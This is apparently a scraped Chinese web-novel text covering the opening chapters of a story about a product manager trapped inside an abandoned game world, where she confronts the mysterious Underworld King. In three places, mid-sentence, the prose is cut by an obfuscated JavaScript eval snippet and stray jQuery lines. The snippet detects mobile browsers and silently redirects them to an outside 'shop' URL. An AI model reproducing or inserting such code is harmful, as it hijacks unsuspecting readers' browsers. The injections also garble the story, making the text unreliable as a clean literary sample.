《宿敌,我来跟你和亲了》
1. 入戏中
在狭窄的房梁上匍匐了太久,迟复樱的手脚已经酸麻难忍。再一次,她从高高的房梁上探出头,向下俯视着深渊一样的地面。
地上那两个人立刻又喊了起来:“掌柜的活了!掌柜的真活了!”
噌地一下,迟复樱缩回脑袋。
楼内相当昏暗,墙角的烛光遥远而微弱。地上那两位影影绰绰的,似乎还在仰头看着,殷切地等待着迟复樱爬下去。
迟复樱死死抱着梁木,心想自己一定是为了工作而走火入魔,以至于出现了幻觉。否则,她的工位怎么会突然变成这样一座鬼楼?
大约在十分钟之前,她召开紧急视频会议,集结了怨气冲天的同事,连夜修复一个游戏的漏洞,同时还要分出一只眼睛看着领导发来的连环责骂。被夹在中间,两头受气,迟复樱急火攻心。缓缓倒下之前,她留下的最后一句话是:“产品经理这活就不是人干的。”
再睁眼时,她发现自己侧卧在一根悬空的木头上,身上穿着古香古色的衣袍。向下一看,才知道自己在房梁上。这座楼像一口深不可测的井,举架高得可怕,天井的地面一直通到棚顶。虽然靠墙搭建了局部二楼,但那片环绕三面墙的露天回廊依然离她十分遥远。她腾挪着转身趴下,四肢抱紧木头,再也不敢动了。
也许是她扑腾的声音过于响亮,地上这两个人影相继从黑暗里跑出来,口中呵斥着“野鬼出去”这类驱逐令。待到看清她狼狈的形象后,那两人惊呆了。然后,他们异口同声地喊道:“掌柜的活了!”
在房梁上坚持到现在,迟复樱已经力不从心。迫不得已,她探出头问:“你们是谁?请问有梯子吗?”
一听她终于开口,两人显然高兴极了。其中那个女声回答:“回掌柜,我是酒肆的第五代跑堂伙计。”
另一个男声回答:“小人也是第五代,小人是后厨的伙计!这些年来,您都在梁上看到啦。”
迟复樱只觉得毛骨悚然:“我什么时候在梁上看着了?我到底是谁?”
黑暗中,那两个人影微微闪动,似乎是对视了一眼。女声恭敬地说:“掌柜的,这里是您的酒肆。房梁上有座侧卧的雕像,是直接在木头上抠出来的,每一代伙计口口相传,说这是酒肆掌柜的真身,但是谁也没见过雕像醒来是什么样。想不到我们有幸得以瞻仰,以后我们应该为酒肆加倍卖力……”
迟复樱两眼一黑,轻飘飘地向地上坠去。然而,她的身体产生了一种优美的滞空感。接着,就像一片树叶在空中盘旋打转,迟复樱舒展地翻了个身,徐徐下落,最后足尖点地,无声地站到了木地板上。
她不可思议地低下头,看见自己的双脚的确踩在坚实的地面上。她又将双手举到眼前看着,心中的情绪顺着经脉流淌到手掌,指尖立刻冒出了星星点点的荧光。蓝莹莹的光点漂浮在眼前,破开了一尺之内的黑暗。
迟复樱终于明白,就像小时候的梦境一样,此刻她拥有法力。借着浮动的荧光,她勉强看清跑堂相貌端丽,大厨浓眉朗目,二人衣着打扮十分眼熟,她一口气上不来,差点厥了过去。
这不是她曾经负责跟进的大型古风玄幻游戏《浪花酒肆》吗?眼下这家酒肆,就是游戏地图的起点,两个鬼伙计的形象都是她把关的。
只是这游戏开发到一半就搁浅了,是个实打实的烂尾游戏。它不仅没有完整的关卡和剧情线,而且被历任离职的产品经理代代相传,如击鼓传花。传到迟复樱这里时,她只参与了很少的内容。由于管理层认为资源有限,这项目很早以前就被叫停了。
迟复樱后退了几步,心脏砰砰直跳。跑堂女爽快地说:“掌柜的,您大概是睡了太久了,要不要喝点醒酒汤?”
迟复樱双手一起掐自己:“这是梦吗?我怎么才能回去?”
大厨男轻松地问:“您要回哪去呢?莫非您还有外宅?”
“我要回家……”说完了这句,迟复樱突然陷入了怪异的迷茫。她意识到大脑空出了一部分,她记得自己的工作,却想不起自己的家人朋友是谁。那些身影只剩下轮廓,就像蒙上了灰色的纱。
霎时间,恐惧和惊慌都消失了,心中只剩下无尽的空虚和迷茫。
迎着两人殷勤的目光,迟复樱茫然地说:“那个地方不在这个世界里。”
大厨男梗着脖子说:“那不行啦,我们没有通关文书,连冥界都出不了。不对,有文书也出不了三界呀!只有冥王的马车才能去三界之外呢。”
跑堂女若有所思地说:“您怎么会知道那种地方?可您一直待在房梁上呀……”
像是有一只手拨开了屏障,迟复樱心头豁然开朗,追问道:“什么是冥王宫?”
大厨男伸手指着某个方向,抢先回答:“掌柜的一直沉睡,不知这些年的世事变迁。冥王是近些年出山的神秘人物,是民间头号魔头,连君主也要让他三分!他的宫殿就在那边,掌柜的千万别靠近!”
话音刚落,窗外狂风大作,屋顶上瓦块发出断裂声。大厨男伸着脖子张望,跑堂女严肃地看着他:“别随便议论冥王大人。他老人家耳目通天,会降雷劈死你的。”
迟复樱忽然想到一个至关紧要的问题:这副躯壳看起来还是自己的,但是比她近两年多了点肉,手背都不再是瘦骨伶仃的样子了。那么,这是不是自己的身体呢?万一只是魂魄来到了一具陌生躯体中,那她自己的肉身岂不是还在工位上?
她立刻狂摸自己的脸,但她并没有痣或疤痕这类特征,摸了半天也无法作出判断。她问那两人:“有镜子吗?”
跑堂女抱歉地说:“没有。”
“不能变一个出来吗?”迟复樱试着驱动法力,却只能变出几个光球。
跑堂女也很迷惑:“掌柜的,您可能是刚醒,不记得了。我们手里只能变出火光,不能凭空变出实实在在的东西。要想变镜子,总要有点材料,哪怕一片铜或一片冰……”
迟复樱又问:“我脸上有什么特征?比如眼睛圆吗?”
大厨男说:“掌柜的眼睛就是眼睛形……”
迟复樱举手说:“抱歉插一句,冥王的马车能载客吗?有谁坐过这个车吗?”
那两人立刻摇头:“怎么可能?您快休息吧!”跑堂女还悄悄向她做手势,暗示她不要再提冥王。
但她不能不问:“冥王是什么样的?他喜欢什么?谁能带我去见他?”
“掌柜的不可!”大厨男面露惊慌,嗓子破音,“坊间传闻,以前有些人想要接近冥王,就用易容术变成绝色少男少女,以为可以投其所好。结果还没能走到冥王跟前,就都被打成碎渣啦!”
迟复樱一愣:“谁说我要去色诱他了?”
两人更加紧张,一起摆手。看这架势,如果迟复樱提出自己要去找冥王,这两人就会恭敬而惭愧地把她打昏过去。
迟复樱问:“除了找冥王,还有什么办法去三界外?”
跑堂女很肯定地说:“没有了,掌柜的,别再想这些了。”
迟复樱点头说:“那么问题回到了起点,怎么才能坐冥王的马车呢?”
“这就没人知道了。”跑堂女看向楼上一间正房,“掌柜的,您的卧房已经准备好了。”随着她的言语,一条光路像铺地毯一样铺展出去,从迟复樱脚下通向楼梯,再通向楼上的一扇门。
眼看两人一问三不知,迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468771|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复樱叹气道:“好吧。”借着脚下的亮,她飞快地瞥过沿途陈设,只觉得全是破烂。
房门一关,她先提起桌上的灯笼,翻箱倒柜地搜查了一番,想找出一把刀或是一杯水,来照照自己的脸。可惜这家酒肆穷得叮当响,折腾了半天竟一无所获。
两个伙计口中的冥王几乎是活阎王的化身,但她们并不知道,这个游戏里从来没有设置过冥王的角色。游戏在自主演化着,她原本对项目的了解立刻显得微不足道。
世界活了,一切都超出了控制。
迟复樱双手支在窗台上,不停地吐着气。这是个经营类游戏,但目前她并不觉得自己卖出酒就能回到家乡,只有冥王听起来像是一个机关。自己想要回家,游戏里就出了冥王这号人物,可见这是冥冥之中的暗示。他的马车能去三界之外,那不就包括了自己原来的世界吗?
她没有太多时间可以浪费,因为她不确定这具身体是不是属于自己。万一身体真留在了那边,那么就算没立刻烧成灰,八成也得冻硬了。如果那样,就彻底回不去了。
虽然失去了过往生活的记忆,但残存的直觉让她明白,自己还有父母需要赡养,还有朋友没见最后一面。再说这个酒肆看起来还不如贫民窟,生活条件与现代社会相去甚远。她的工位上有一杯喝剩的咖啡,还有两张演唱会的门票,是年会抽中的奖品。原本稀松平常的享受,突然间烟消云散,高不可攀。
焦虑的心情像一把刀一样抵着她,迟复樱想了个粗略的行动方案,就双手一撑,翻上窗台,纵身跳出了窗外。她果然没有摔扁,而是无声地落在地上。
夜色从四面八方包围上来,形成了天然的掩护。这是个没有月亮的夜晚,但她知道自己是在冥界王都的长街上。以横贯东西的长街为中轴,王都分为上城区和下城区。
上城区是长衢罗夹巷,王侯遍地走,不仅有富贵人家的府邸,更有君主宫殿和衙门机构。下城区住的是商人工匠,市容异常破旧。而大厨男手指的东方,原本是一片空地。当时地图没有设计那部分区域,想必冥王宫就在那里衍生出来。
刚想变出光来照明,就有一些冰凉的、纱一样的东西刮着她飞过,似乎是鬼影。迟复樱先是惊得忘了怎么喊,接着就大叫一声。
在她身边,一个人影亮了起来,就像纸扎的人形灯笼。那个人影看了她一眼,不满地说:“你叫什么?”更多的人影亮了起来,他们正排成一列走着,一个跟着一个,就像一串白色的珠子。每个亮起来的人影都嘀咕着:“是你自己撞到了我们呀……”
概念图中的鬼怪有了实体,迟复樱浑身像爬了虫一样难受。她知道自己现在也成了鬼,只能不顾一切地沿着长街向东奔跑。两侧的中式楼阁隐藏在黑暗中,偶尔才能碰到一处昏黄的灯光。
跑了足有几个小时,一片暖色的光辉终于出现在远处。在高墙的环绕中,明晃晃的宫殿骄矜地屹立着,与黑暗泾渭分明。
高墙绵延伸展,望不见两端的尽头。在迟复樱看来,再大的宫殿也不过是个大院子。她更关心这个冥王的院子有没有护卫军,外来人一走进去会不会被射死?
最后一段路,她走得很慢,反复检查着自己想好的话术。来到正南的宫门外,迟复樱清了清嗓子,字正腔圆地说:“冥王大人,信徒来求见您。”说着,就敲了两下门。
当,当。
她下手很轻,大门却无声地打开了一条缝。并没有门童迎客。从门缝里看进去,隐约能看见一条石径。
迟复樱深吸了一口气,侧身钻进了那条缝里。还没看清院落的布局,就听一个冰冷却十分悦耳的声音问:“冥王什么时候有信徒了?”
2. 夜闯宫
迟复樱四处看看,却看不见说话的人。在她身后,大门无声无息地合拢了。院落空荡辽阔,除了远处那座大殿之外,竟像荒郊野岭一般。
夹道的两排枯树上,悬挂着闪动变幻的光球,将院内照射得忽明忽暗。迟复樱环视四周,猛然发现院墙内壁上的图案似乎是一些打乱的拼图,而亭子的对联上,每个字都是反的。有一瞬间,她后悔自己贸然闯入了冥王宫。
只是开弓没有回头箭,迟复樱沿着枯树步道,一步一步踏进了大殿。一边走着,她一边壮起胆子问道:“请问,有人吗?请问,您老人家是在哪里说话?”
殿中烛火通明,没有活物,只有些薄薄的纸人立在椅子上,好像在开会一样。
虽然是锦天绣地、玉案金杯,却连一件古玩或字画都没有。迟复樱暗道不妙,如果他是壁立千仞、无欲则刚,那她就算想贿赂之,也找不到一个突破口,难以投其所好。不过,殿内倒是布满了珍奇花木,有的是参天神树,有的是灵异爬藤,整个大殿像一片原始森林。
继续向里走,绕过一面华丽的石壁,穿过一截院子,迟复樱字正腔圆地说:“您老不在大殿里,我就进来喽,给您请安了。”说着小心地踏进了寝殿。
虽然没有风,瀑布般垂落的轻纱却始终飘动着。透过纱幔制造的迷雾,能看见寝殿四壁辉煌。无数蜡烛镶嵌在墙壁上,散发着幽幽的光。
一路走来,偌大的宫殿里,竟没有一个侍者。整片宫殿更像是一座古墓。正忐忑时,殿内的烛火突然唰地一下尽数熄灭了,一切再次陷入黑暗。迟复樱往旁边扑倒,就地一滚,再单膝跪地而起,以墙壁掩护着自己的后背。
不知从哪个角落,传来一道低沉而冰凉的男性嗓音:“你到底来找谁?”正是方才的声音,仿佛是从无数个方向涌来,最后汇聚到一起。虽然澄澈空灵,却不带任何感情。
冷不丁听见说话声,迟复樱定下心神,小心地说:“来找冥王商量点事。”
那人沉默了片刻,又问:“找我什么事?”
尽管看不见冥王的所在,迟复樱却能感觉到他在黑暗中注视着自己,如同隔岸观火般清楚而不动声色。
她规矩地跪坐下来,尽量镇定自若地寒暄道:“是这样的,小人这几日做了个梦,梦见天降一金龙,落在长街之东,醒来一想,正是冥王宫的所在。小人本来就是冥王大人多年的信徒,梦中又受到天意点拨,所以特意来向您报喜。”
那人又不说话了。但迟复樱并不奇怪,因为这梦本来也是她瞎编的。来的路上,她已经大致推测出冥王处境如何、惧怕什么,但她不敢直接开口,只能以梦为引,低头等着冥王发话。她感到殿内正变得阴冷刺骨,伸手一模,袍子竟然开始结冰了。
她硬着头皮说:“大王明鉴,我一走进这里,就觉得隐约有真龙之气缭绕在屋顶。您这里需要跑腿办事的人吗?小人愿意做您的随从。”
虽然忘记了从前的生活,但是工作上的事却一点没忘。一位资深同事曾告诉迟复樱,和其他部门的人谈判时,要站在对方的角度,列出对其有利的关键点,才能劝说对方配合执行。按照她的推测,冥王是这个世界的天降恶霸,当然会撼动冥界原本的君主的地位,人说一山不容二虎,她绝不相信冥王和君主能和平共处。
迟复樱说:“大王,实不相瞒,我还是比较了解三界的,有些朝堂之事,民间少有人知,我却知道一些。另外我粗活细活都能干,出门办事,传递消息,盯梢偷听,侍弄花草,去山里挖树,都可以……”
她对“朝堂之事”的了解,不过是君主的建模形象。粗活细活更是胡话,她急着回家,怎么能有时间去干活?但她想无论如何,自己应该先取得冥王的信任,想办法照到镜子。万一肉身没丢呢?那就不用急着回去了。
迟复樱的心思千回百转,绕了一圈又一圈,那边仍旧不回答。殿内愈发寒冷,这次她的手脚开始上冻。冥王如此油盐不进,迟复樱几乎怀疑他的脑子不太灵活。她又补充道:“我很乐意为您做这些的,绝不是有所图谋,也不要工钱……”
呼地一下,一阵寒风迎面吹来,像刀子一样打在脸上。迟复樱急忙躲避,想不到一道纱幔突然像长了眼睛一样嗖嗖袭来,就像一条白蛇从空中向她俯冲。
凭借本能的意念,迟复樱再次无意识地完成高难度动作:她原地跳起,用冻得冰凉的双手,一把抓住了白纱,试图整个人凌驾于白纱之上。
然而白纱轻轻向空中后撤,扯带着迟复樱飞了起来。她双手死死抓住纱布,感觉自己被抡得一圈一圈飞转,像是一只鸟在空中盘旋。
黑暗中,寝殿的四壁变成了跑马灯一样的光影,像一道飞速旋转的圆环,将她围在中间。眼前不停闪过模糊的影像,周围的一切都在变幻着。
迟复樱紧咬牙关,努力睁大眼睛。适应了昏暗的环境后,隐约从旋转的光影中辨认出一些轮廓。她飞快地瞥过大殿一角,似乎看到角落里堆着一摞垫子。攀着白纱的手已经近乎麻木,她觉得自己坚持不了多久,就看准时机,猛地松开了手。
像一只弹射出去的大鸟一样,迟复樱整个人朝着角落的垫子飞去。
那堆垫子隐藏在阴影中,似乎还微微地晃动了一下。她干脆闭上眼睛,心中默念塞翁失马,焉知祸福,如果直接摔死,会不会反而回到了原来的世界?
咚的一声闷响,迟复樱落到一堆富有弹性的垫子上。这垫子暖融融的,却不像想象中那么柔软,而是支楞八翘的,硌得她咬牙切齿,哎哟了半天。但这堆布料十分讲究,带着一种淡淡的、冰冷的香气,让人想起天上的雪。
在惯性的作用下,周围的一切仍然旋转不息。迟复樱的脸埋在垫子里,哼哼了两声,根本爬不起来。将后背亮给敌人,让人陡然产生了危机感。她怀疑冥王会从她背后下手,就拖着冰冷的四肢,费力地腾挪着,想在垫子上原地翻个身。
这时她才发觉,从身上的触感来说,这对垫子倒更像是人肉做的,甚至还轻微地起伏着。或许是从前闯入冥王宫的人,都被做成了肉垫,扔在这里叠罗汉。这猜测一跳进脑海,就让她头皮发麻。
她试着要变出光点,却没能成功,这才想起手还冻着。于是在这堆东西上摸了半天,但手掌失去了知觉,也摸不出这是什么材料。
接着,那堆垫子突然像是成了精一样,很有灵魂地把她甩了出去。
在偌大的殿中数次滑翔后,她终于又轻飘飘地落回到最初的墙边,立刻紧紧扒着墙面不敢动弹。冥王的声音越来越低:“你闯进我的寝殿,就是为了把这里砸得稀巴烂么?”
迟复樱急忙说:“那我这就点上灯,帮您打扫一下?”说着拼命催动麻木的手,想要变出强烈的光源,好趁机看清冥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468772|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王在哪。
岂料冥王突然怒道:“还敢偷袭?”迟复樱浑身一僵,这才明白冥王以为她要借机动手,一时间心念急转,索性猛地爆发出法力。手中的光芒烧成了一团火球,燎着了近处的纱幔。
然后她做出一副惊恐而没用的样子,双手捂着嘴说:“哎呀,我怎么总是变不好戏法,冥王大人恕罪……”等到她一顿拍打、扑灭了火焰,洁白的纱幔已经给熏成了黑色。
寝殿像海底一样寂静。冥王良久不语,最后说了一句:“我看你是来和我争这个冥王的。”
有道是一鼓作气,再衰三竭。迟复樱忽然筋疲力尽,意识到现在是逃命的最后时机。她立刻堆出天真而懦弱的哭腔说:“您老人家今日心情一般的话,要不我先回去?”
许久,冥王阴恻恻的声音在寝殿里回荡起来:“到底是谁派你来的?你是谁的人?”
陡然间,寝殿里的阴风又吹了起来。迟复樱急忙躲开白纱,说:“我是自愿来的,绝不是受人指使。我下次还可以再来吗?”
冥王竟然冷冷地笑了:“还想来荡秋千么?”
话音未落,几道白纱扭来扭去地靠近了迟复樱。她急忙说:“别别!我……其实信徒来这儿还想问问,信徒长什么样?”
冥王顿了一下,重复道:“你长什么样?”
“对,”迟复樱试探地说,“请大人形容一下信徒的长相?”
“……”
迟复樱生怕他觉得受到戏弄,急忙补充道:“信徒一心崇敬大人,从小到大的愿望就是知道自己的样貌,今天有幸见到大人,正好向大人祈愿……”
冥王似乎陷入了思索,或许是被她搞糊涂了,担心这其中有诈。迟复樱再也忍耐不住,连滚带爬地站起来,飞速跑出了寝殿。她生怕那些白纱又从身后追上来,所以边跑边频频回头。
白纱始终没有再出现,但是大殿里那些纸人纷纷随着她的脚步转头,一路目送着她逃窜。宫门还开着,仿佛这里允许宾客任意来去。她不知道这是不是冥王的一种策略,也许他故意让宫里不设安防,以向君主表示自己没有圈地为王之意。他越是无遮无拦,就越是深不可测。
迟复樱跑出宫门,又在树下躲了一会儿,没有发现追兵。浑身摸了一遍衣服,也没有发现纸人,就兜着圈跑回了酒肆。
天亮之前,迟复樱翻窗回到卧房,一头栽倒在床上,大脑还在飞速运转着。如果说冥王捉弄她是出于对一个傻信徒的新奇之感,以恶作剧来调剂他孤独老鬼的生活,那么当她跑走时,他一定是有意放虎归山,以摸清她背后的人。今晚的装疯卖傻算是留下了一个口子,未来冥王还会再来找她。
迟复樱并不害怕他来找自己,相反地,她正需要和冥王接触。她只是为错过了回家的第一时机而感到懊恼。
下次见到冥王时,她得让他相信她是一颗有用的棋子。
迟复樱凝神思索着,这一夜的鬼魅记忆开始重映,从踏进宫门的那一刻开始,她在脑海中重新观看着每一处细节。突然间,她知道接下来该怎么做了。她并不是空手而归,而是带回了一个大秘密。
怀揣着这样的秘密,她既兴奋又不安,便从床上探出半个身体,想看看冥王有没有派纸人来尾随她。天际泛起了白边,薄薄的雾气在窗前晃动着。还没来得及看清什么,她就落回枕头上,不省人事了。
3. 探虚实
再醒来时,手脚已经彻底恢复了知觉。冥界的夜与日交替了一轮,明亮的阳光照进屋子,昨晚的一切就像一场梦。
在支离破碎的睡眠里,她一会儿梦见冥王寝宫的白纱追着她跑,一会儿又梦见她砸中的那堆垫子不是垫子,而是冥王本人。在梦里,冥王也成了个无脸的人,指着她一字一顿地说:“你上来就把我砸得半死,还把我的宫殿闹得鸡飞狗跳,你才是冥王……”
迟复樱恍惚了一会儿,突然坐起来环视四周。她还是困在这间破烂屋子里,和昨晚逃回来时一样。从前早起上班的痛苦场景,竟然令她万分怀念。
又呆坐了片刻,才慢慢想起昨晚的计划。她连忙紧紧闭着眼睛,努力回想那些画面。幸运的是,经过半宿的昏迷,这些记忆仍然没有消散。
脑海中浮现出宫墙上的拼图,和亭子上的对联。接着,一片片拼图滑动起来,互相交换着位置,繁复的路线就像天体的运行轨迹。对联在原地翻了个身,如同一张纸翻到背面,波折诡异的笔画被清洗理顺……
终于,调整后的画面归于平静,迟复樱在大脑中辨认着那些图案和文字。拼图是游戏世界的地图,已在原有的布局上大大地演化拓展了。不大工整的对联,写的是:北偏西有笑面虎,东偏南是蜜里刀。
冥王宫的西北方向,是上城区的范围,其中最有影响力的莫过于王都权力中心。那是游戏里原本的王权所在,也就是君主和官僚的起居之地。
冥王宫的东南方向,是下城区的范围,但这里面的市井小民显然不会对冥王构成威胁。那么,再东南呢?迟复樱记得那是凡界,再看看宫墙上的地图,的确如此。凡界里能让冥王忌惮的,也只有凡界之主了。
与其说拼图和对联是一种装潢设计,倒不如说这更像随手做的笔记。
本来,游戏中设定了两位君主,分别管理冥界和凡界,在这个经营类游戏里,他们也就主要负责一下两界的税收和治安。而第三界,名为佛界,实际只有地图,没来得及设置任何角色,也就没有君主一说。
正如她猜测的那样,冥王的存在不可能不让游戏里的本土势力忌惮。但超出她想象的是,冥王不止和一方为敌,而是同时和两方不对付。
或许这就是他的薄弱之处。他的处境是两面夹击,腹背受敌,那么,这两方势力是以什么手段来打击他的?
她颓废地爬起来,先检查了窗户,没有发现纸人之类的奸细。在阳光的照耀下,昨天夜里跑过的长街显露真容,不再阴郁可怖。各式各样稀奇古怪的妖鬼,正在阳光下走来走去。有妖支起摊位做生意,有鬼骑着五花八门的坐骑赶路,例如金鱼或游龙。
鬼,是活人所化,本就是人形。而妖是各式动植物所化,甚至一块石头也能成精,所以外形参次不齐,有的是俊男美女,有的还残留着尾巴或翅膀。扁平的渲染图突然成了实实在在的活物,比全息投影还要怪异。
左思右想,既然已经错过了回家的最佳时机,就不能再鲁莽行事。迟复樱觉得自己得先广泛收集信息,再制定二进宫的计划。
跑堂女和大厨男也在临街的院门前摆摊,卖的是大碗茶和茶点,只是看起来生意非常惨淡。迟复樱后知后觉,发现自己跑了一夜都不渴不饿,可见这里的饮食不是必需品,而是一种消遣。再看身上的衣裙,昨晚那么摸爬滚打,衣服都没蹭脏,简直就是虚拟纸片人!
跑堂女正在用一条破洞的毛巾擦拭摊位上的木桌板。看到迟复樱下楼,她立刻迎上来问:“掌柜的有什么吩咐?”大厨男也搓着手过来,像下属对领导一样微笑着。
这种恭敬而卑微的态度让迟复樱感到难受,她一挥手,十分社会地说:“不要客气,大家随便聊聊!”
跑堂女还是客气地双手捧上一杯茶,迟复樱急忙接过来看,只见茶水像绿色的油漆,根本照不出人的脸。这一定是当时美术和技术偷懒,迟复樱不禁在心中习惯性地大骂对接人。
她先看向跑堂女,只见她顾盼神飞,唇角上翘,很像一座高挑的观音。可惜迟复樱此刻无心赞美,只是简单地问:“请问你怎么称呼?”
跑堂女答道:“回掌柜的,我叫金元宝!”
“是吗?”迟复樱满脸错愕,又看向大厨男。此人身形挺拔,仪表堂堂。近距离一看,才看出他两个眉毛和两个嘴角都不一般高。一侧眉毛微微挑起,另一侧唇角含笑上勾,整张脸总是带着促狭的神色。
见迟复樱看过来,他很有眼色地说:“回掌柜,我叫韩杀男!”
噗的一声,迟复樱喝进嘴里的茶都喷了出来。她想了一会儿,才记起来当时游戏里的诸多配角都没有起名字,为了做测试时方便记录,就先用程序随机生成了许多人名,再随机安在这些角色的头上,以便把流程继续跑下去。
她用袖子抹了一把嘴,说:“我们还是说正事吧。这里有卖镜子的吗?”
“镜子,有的有的。”大厨男点头说,“这种东西是凡人造的,会有商贩去凡界进购这些东西,每逢初一十五,就到鬼市上卖!”
迟复樱眼睛冒光:“那下一次鬼市是什么时候?”
“下一次是十五,还有十天!”大厨男摇头晃脑,颇为感慨地说,“听一些老鬼说,几百年前的鬼市是天天都有的。后来人慢慢变穷了,买不起那么多东西,就改成了隔天一次。再后来是五天一次,到现在又成了半月一次。天杀的,这年头真是不景气,买卖可难做了。”
“还有十天?那等不及了。”迟复樱抓着跑堂女商量道,“附近哪个人家有镜子?我溜进去偷着照!”
跑堂女一言难尽地看着她,似乎在思考复苏的掌柜怎么是这种偷鸡摸狗的形象。大厨倒是露出赞同的表情。
迟复樱又说:“没有镜子的话,谁家有刀也行!池塘也行!我身手还不错!”
跑堂女说:“这些都不是普通人家的日用品,咱们这条街上是没人买的。至于富户人家的大门,那不是我们能进的。”
定睛一看,这两人的衣服的确都半新不旧,看来酒肆真的一穷二白。迟复樱唉了一声,只能求这两人口头描述自己的长相。
那个大厨男皱着眉毛看着她,一边形容道:“您的眉毛不浓不淡,双眼皮不宽不窄,鼻子不大不小,嘴巴不厚不薄……”除此之外,他绞尽脑汁,也想不出其他形容词。
跑堂女则嫌弃地看了他一眼,干脆地说:“正所谓,绣面芙蓉一笑开,掌柜的长相十分标致讨喜,我给您画出来!”结果她用一块木炭在地上画了一幅人像,看起来很像古代通缉犯人的画像。
迟复樱哑口无言。
两人仍然一副洗耳恭听的样子,迟复樱却不敢敞开了问话。来到这个鬼魅世界,她总觉得这两个店员不是真人,向他们提问时,就像和仿生机器人对话,这令她感到微妙的怪异。她甚至担心自己和这两人的对话,会直接传到冥王的服务器里去。
她含蓄地问:“冥王是这里的领袖吗?”
那两人对视了一眼,彼此交换耐人寻味的眼神。这表情太过于细腻真实,就像机器人成精,或者说,这两人本来就是活生生存在的。迟复樱的后背竖起了一层寒毛。
大厨男警惕地张望四周,跑堂女压低声音说:“冥王是本地的头号人物,从不露面,只会派手下办事,而且他的手下每次都不重样,很可能是用完一个杀一个!不过冥王大人日常不会亲自管理鬼界,那是君主干的事。”
迟复樱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468773|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仰起下巴,长长地哦了一声。这和她的猜测完全一致。
冥王横空出世,冥界和凡界的势力都不会给冥王好脸色看。这种合纵连横的局面里,有多少是她能插足的空间?又有多少是她能加以运作的机会?
她若无其事地问:“冥王不管理冥界,那他干什么?”
“做买卖呀!”大厨男理所当然地说,“他的买卖没有一万,也有八千!”
一听说冥王是商业巨贾,迟复樱灵光一闪,问道:“有人干扰他的买卖吗”
两个伙计吓了一跳,模棱两可地说:“就……商队需要雇镖局吧,毕竟要是用乾坤挪移法阵来转移大批货物,还是太消耗灵力了,用车队运货才是最实惠的……还有他那些店铺,也有打手……”
迟复樱坚信自己又猜对了。其他势力要给冥王捣乱,一定得有个抓手,冥王的买卖恰好提供了这样的介质。笑面虎和蜜里刀扰乱他的商队,所以他要去空无一人的佛界探路,以摸索出一种绕远但安全的路线。
如果她能找到平衡三方关系的方法,让他的买卖少出乱子,那何愁冥王不跟她合作?况且她熟知这世界的旧地图,有许多偏僻小路可供商队行走。万里征途第一步,先得打探出他有哪些买卖、什么时候运镖。
对一个身无分文的人来说,她连打点关系、雇佣探子都做不到,想要伸手拨乱三方角逐、成为举足轻重的谋士,在此刻无异于天方夜谭。虽说刘备前半生尚且织席贩履,诸葛亮也曾隐居躬耕,可她现在只是个连自己身体在哪都不确定的鬼。说来道去,还是得赚钱才行。
迟复樱现在反倒希望冥王快点来把她抓走,哪怕被抓进冥王宫里当老鼠玩,也比流落在外、两眼一抹黑好得多。她不禁长长地叹了一口气。
跑堂女见她长吁短叹,还以为她要喝水,于是轻轻招手。茶壶忽忽悠悠地飘了过来,微微倾倒,油漆般的茶水落入了迟复樱的杯中。
迟复樱反客为主,从桌上找了两个茶杯,也给他们哗哗倒了茶水:“我们边喝边聊,你们也坐呀!”那两人还是站着,迟疑地接过茶杯。迟复樱堆起笑容问:“冥王年纪多大了?他那么厉害,应该没有对手吧?”
滋儿地一声,大厨男呷了一口茶水,带着一脸隐秘的表情说:“谁都没见过冥王大人,但市井上关于他的传闻可不少。有人说他生于开天辟地之前,英俊潇洒,风流倜傥,玉树临风,六头十二臂,神力无穷!”
“六头十二臂,”迟复樱呵呵干笑了两声,“那真是太英俊了。”她想起昨晚那个清冷的声音,不知是从这怪物的哪个脑袋上发出来的?一个长成这样的人,还要压着嗓子装出英俊小生的嗓音,真是偶像包袱太重了。
跑堂女小声说:“君主对冥王很忌惮。听说冥王的财宝都来自民间……而且,凡是他看不顺眼的人,都被……”
回想昨晚,迟复樱其实有点后怕,但即使再重来一次,她也还是会冲出去。想到那个可能留在工位的肉身,她真是毁天灭地的心都有。
她郑重地对眼前的两个伙计说:“我今天开始练习法术,和你们一起酿酒,赚的钱咱们三人平分。如果日后我要找些……额,保镖或者探子,你们也帮我找找。”
那两人唯唯诺诺地答应了,看来是不理解一家破酒肆有什么可雇保镖的。
迟复樱在酒肆外墙贴了告示,写明运输队伍来酒肆歇脚可获赠酒水一壶,又找了块木板钉在大堂的墙上,供往来客人留言或涂鸦。
如果冥王真的派了一名纸人一路盯着她,那么眼下藏身的酒肆也许已经尽在冥王的掌握中,她的一举一动都暴露在他眼前。
